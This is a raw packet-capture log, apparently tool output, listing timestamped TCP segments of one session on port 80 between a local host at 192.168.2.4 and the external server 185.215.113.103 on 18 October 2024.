Oct 18, 2024 15:04:16.568269014 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.568344116 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.568344116 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.568344116 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.569304943 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.569317102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.569330931 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.569341898 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.569360018 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.569427013 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.570202112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.570215940 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.570228100 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.570240021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.570251942 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.570516109 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.570516109 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.570516109 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.571088076 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571100950 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571114063 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571125984 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571399927 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.571399927 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.571399927 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.571947098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571960926 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571973085 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.571985960 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.572103024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.572103024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.572103024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.572732925 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.572746992 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.572760105 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.572772980 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.572779894 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.572786093 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.572791100 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.572803974 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.572833061 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.573853016 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.573865891 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.573993921 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.574632883 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.574645996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.574826002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.574826002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.574826002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.596514940 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.597243071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.597742081 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.597742081 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.598582029 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.598805904 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.598819971 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.598896980 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.598896980 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.598896980 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.599597931 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.599611998 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.599627972 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.599828005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.599828005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.599828005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.600344896 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.600357056 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.600370884 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.600485086 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.600485086 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.601150036 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.601162910 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.601175070 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.601347923 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.601844072 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.601855993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.601870060 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.601892948 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.601933002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.602797985 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.602811098 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.602823019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.602847099 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.602886915 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.603425026 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.603440046 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.603451967 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.603465080 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.603486061 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.603486061 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.603562117 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.604511023 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.604526997 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.604540110 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.604563951 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.604625940 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.605618954 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.605632067 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.605643988 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.605689049 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.605750084 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.606416941 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.606430054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.606441975 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.606848001 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.606848001 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.622242928 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.622296095 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.622416019 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.622430086 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.622545958 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.622545958 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.622915983 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.622934103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.622947931 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.622972965 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.622972965 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.623022079 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.623614073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.623627901 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.623640060 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.623863935 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.623864889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.624442101 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.624454975 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.624469995 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.624481916 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.624502897 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.624502897 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.624547005 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.675965071 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.676045895 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.676047087 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.676058054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.676337004 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.676476955 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.676546097 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.680670023 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.680800915 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.680860996 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.680872917 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.680967093 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.680967093 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.681361914 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.681376934 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.681632996 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.681632996 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.681813955 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.681827068 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.681864023 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.681864023 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.682362080 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.682374001 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.682389021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.682427883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.682427883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.682427883 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.683221102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.683235884 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.683248043 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.683465958 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.683465958 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.684084892 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684098959 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684111118 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684123993 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684165001 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.684165001 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.684195042 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.684948921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684962988 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684977055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.684988976 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.685029984 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.685030937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.685030937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.685030937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.685858965 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.685872078 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.685883999 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.686732054 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.686745882 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.686759949 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.686768055 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.686768055 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.686768055 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.686768055 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.686774015 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.687556028 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.687570095 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.687582016 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.687593937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.687593937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.687593937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.687593937 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.687597990 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.688354969 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.688368082 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.688379049 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.688391924 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.688397884 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.688397884 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.688399076 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.688399076 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.688404083 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.689261913 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.689274073 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.689280033 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.689285994 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.689735889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.689735889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.689735889 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.690161943 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.690174103 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.690186024 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.690198898 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.691243887 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.691257000 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.691268921 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.691282034 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.691282034 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.691282034 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.691282988 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.691282988 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.691293955 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692051888 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692065001 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692080021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692094088 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692111015 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.692111015 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.692111969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.692111969 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.692965031 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692977905 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.692989111 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693007946 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693022966 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693031073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693031073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693031073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693031073 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693737984 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693737984 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693864107 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693876982 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693888903 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693902016 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.693943024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693943024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693943024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.693943024 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.694798946 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.694812059 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.694823027 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.694835901 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.694849968 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.694875002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.694875002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.694875002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.694875002 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.695574999 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.695673943 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.695686102 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.695698977 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.695710897 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.695777893 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.695777893 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.695777893 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.696501970 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.696513891 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.696526051 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.696537971 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.696549892 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.696599007 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.696599007 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.696599007 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.697421074 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.697432995 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.697443962 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.697458029 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.697736025 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.697736025 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.698182106 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698194981 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698208094 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698220968 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698234081 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698960066 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698971033 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698982954 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698995113 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.698998928 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.698998928 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.698998928 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.698998928 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.699006081 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.699930906 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.699944973 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.699956894 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.699970007 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.699974060 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.699974060 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.699974060 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.699974060 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.699981928 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.699995041 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.700867891 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.700881004 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.700894117 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.700910091 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.700910091 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.700910091 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.700910091 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.700911999 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.700925112 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.700937986 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.701735973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.701735973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.701735973 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.701759100 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.701771021 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.701783895 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.701796055 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.701807022 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.702670097 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.702682018 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.702693939 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.702707052 CEST	80	49830	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:16.702712059 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.702712059 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.702712059 CEST	49830	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:16.702712059 CEST	49830	80	192.168.2.4	185.215.113.103
